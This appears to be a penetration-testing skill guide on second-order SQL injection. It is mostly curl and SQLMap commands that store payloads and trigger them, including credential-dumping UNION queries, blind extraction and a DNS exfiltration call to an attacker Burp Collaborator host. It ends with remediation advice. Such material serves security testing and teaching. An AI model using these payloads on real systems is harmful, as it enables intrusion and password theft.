--- name: performing-second-order-sql-injection description: Detect and exploit second-order SQL injection vulnerabilities where malicious input is stored in a database and later executed in an unsafe SQL query during a different application operation. domain: cybersecurity subdomain: web-application-security tags: - second-order-sqli - stored-sql-injection - sql-injection - database-security - web-security - blind-injection - persistent-sqli version: '1.0' author: mahipal license: Apache-2.0 nist_csf: - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 --- # Performing Second-Order SQL Injection ## When to Use - When first-order SQL injection testing reveals proper input sanitization at storage time - During penetration testing of applications with user-generated content stored in databases - When testing multi-step workflows where stored data feeds subsequent database queries - During assessment of admin panels that display or process user-submitted data - When evaluating stored procedure execution paths that use previously stored data ## Prerequisites - Burp Suite Professional for request tracking across application flows - SQLMap with second-order injection support (--second-url flag) - Understanding of SQL injection fundamentals and blind extraction techniques - Two or more application functions (one for storing data, another for triggering execution) - Database error message monitoring or blind technique knowledge - Multiple user accounts for testing stored data across different contexts ## Workflow ### Step 1 — Identify Storage and Trigger Points ```bash # Map the application to identify: # 1. STORAGE POINTS: Where user input is saved to database # - User registration (username, email, address) # - Profile update forms # - Comment/review submission # - File upload metadata # - Order/booking details # 2. TRIGGER POINTS: Where stored data is used in queries # - Admin panels displaying user data # - Report generation # - Search functionality using stored preferences # - Password reset using stored email # - Export/download features # Register a user with SQL injection in the username curl -X POST http://target.com/register \ -d "username=admin'--&password=test123&email=test@test.com" ``` ### Step 2 — Inject Payloads via Storage Points ```bash # Store SQL injection payload in username during registration curl -X POST http://target.com/register \ -d "username=test' OR '1'='1'--&password=Test1234&email=test@test.com" # Store injection in profile fields curl -X POST http://target.com/api/profile \ -H "Cookie: session=AUTH_TOKEN" \ -d "display_name=test' UNION SELECT password FROM users WHERE username='admin'--" # Store injection in address field curl -X POST http://target.com/api/address \ -H "Cookie: session=AUTH_TOKEN" \ -d "address=123 Main St' OR 1=1--&city=Test&zip=12345" # Store injection in comment/review curl -X POST http://target.com/api/review \ -H "Cookie: session=AUTH_TOKEN" \ -d "product_id=1&review=Great product' UNION SELECT table_name FROM information_schema.tables--" ``` ### Step 3 — Trigger Execution of Stored Payloads ```bash # Trigger via password change (uses stored username) curl -X POST http://target.com/change-password \ -H "Cookie: session=AUTH_TOKEN" \ -d "old_password=Test1234&new_password=NewPass123" # Trigger via admin user listing curl -H "Cookie: session=ADMIN_TOKEN" http://target.com/admin/users # Trigger via data export curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/export-data # Trigger via search using stored preferences curl -H "Cookie: session=AUTH_TOKEN" http://target.com/api/recommendations # Trigger via report generation curl -H "Cookie: session=ADMIN_TOKEN" "http://target.com/admin/reports?type=user-activity" ``` ### Step 4 — Use SQLMap for Second-Order Injection ```bash # SQLMap with --second-url for second-order injection # Store payload at registration, trigger at profile page sqlmap -u "http://target.com/register" \ --data="username=*&password=test&email=test@test.com" \ --second-url="http://target.com/profile" \ --cookie="session=AUTH_TOKEN" \ --batch --dbs # Use --second-req for complex trigger requests sqlmap -u "http://target.com/api/update-profile" \ --data="display_name=*" \ --second-req=trigger_request.txt \ --cookie="session=AUTH_TOKEN" \ --batch --tables # Content of trigger_request.txt: # GET /admin/users HTTP/1.1 # Host: target.com # Cookie: session=ADMIN_TOKEN ``` ### Step 5 — Blind Second-Order Extraction ```bash # Boolean-based blind: Check if stored payload causes different behavior # Store: test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'-- curl -X POST http://target.com/api/profile \ -H "Cookie: session=AUTH_TOKEN" \ -d "display_name=test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--" # Trigger and observe response difference curl -H "Cookie: session=AUTH_TOKEN" http://target.com/profile # Time-based blind second-order # Store: test'; WAITFOR DELAY '0:0:5'-- curl -X POST http://target.com/api/profile \ -H "Cookie: session=AUTH_TOKEN" \ -d "display_name=test'; WAITFOR DELAY '0:0:5'--" # Out-of-band extraction via DNS # Store: test'; EXEC xp_dirtree '\\attacker.burpcollaborator.net\share'-- curl -X POST http://target.com/api/profile \ -H "Cookie: session=AUTH_TOKEN" \ -d "display_name=test'; EXEC master..xp_dirtree '\\\\attacker.burpcollaborator.net\\share'--" ``` ### Step 6 — Escalate to Full Database Compromise ```bash # Once injection is confirmed, enumerate database # Store UNION-based payload curl -X POST http://target.com/api/profile \ -d "display_name=test' UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()--" # Extract credentials curl -X POST http://target.com/api/profile \ -d "display_name=test' UNION SELECT GROUP_CONCAT(username,0x3a,password) FROM users--" # Trigger execution and read results curl http://target.com/profile ``` ## Key Concepts | Concept | Description | |---------|-------------| | Second-Order Injection | SQL payload stored safely, then executed unsafely in a later operation | | Storage Point | Application function where malicious input is saved to the database | | Trigger Point | Separate function that retrieves stored data and uses it in an unsafe query | | Trusted Data Assumption | Developer assumes database-stored data is safe, skipping parameterization | | Stored Procedure Chains | Injection through stored procedures that use previously saved user data | | Deferred Execution | Payload may not execute until hours or days after initial storage | | Cross-Context Injection | Data stored by one user triggers execution in another user's context | ## Tools & Systems | Tool | Purpose | |------|---------| | SQLMap | Automated SQL injection with --second-url support for second-order attacks | | Burp Suite | Request tracking and comparison across storage and trigger endpoints | | OWASP ZAP | Automated scanning with injection detection | | Commix | Automated command injection tool supporting second-order techniques | | Custom Python scripts | Building automated storage-and-trigger exploitation chains | | DBeaver/DataGrip | Direct database access for verifying stored payloads | ## Common Scenarios 1. **Username-Based Attack** — Register with a SQL injection payload as username; the payload executes when an admin views the user list 2. **Password Change Exploitation** — Store injection in username; when changing password, the application uses the stored username in an unsafe UPDATE query 3. **Report Generation Attack** — Inject payload in stored data fields; triggering report generation uses stored data in aggregate queries 4. **Cross-User Injection** — Inject payload in a shared data field (comments, reviews) that triggers when another user or admin processes the data 5. **Export Function Exploit** — Inject payload in profile data that triggers during CSV/PDF export operations ## Output Format ``` ## Second-Order SQL Injection Report - **Target**: http://target.com - **Storage Point**: POST /register (username field) - **Trigger Point**: GET /admin/users (admin panel) - **Database**: MySQL 8.0 ### Attack Flow 1. Registered user with username: `admin' UNION SELECT password FROM users--` 2. Application stored username safely using parameterized INSERT 3. Admin panel retrieves usernames with unsafe string concatenation in SELECT 4. Injected SQL executes, revealing all user passwords in admin view ### Data Extracted | Table | Columns | Records | |-------|---------|---------| | users | username, password, email | 150 | | admin_tokens | token, user_id | 3 | ### Remediation - Use parameterized queries for ALL database operations, including reads - Never trust data retrieved from the database as safe - Implement output encoding when displaying database content - Apply least-privilege database permissions - Enable SQL query logging for detecting injection attempts ```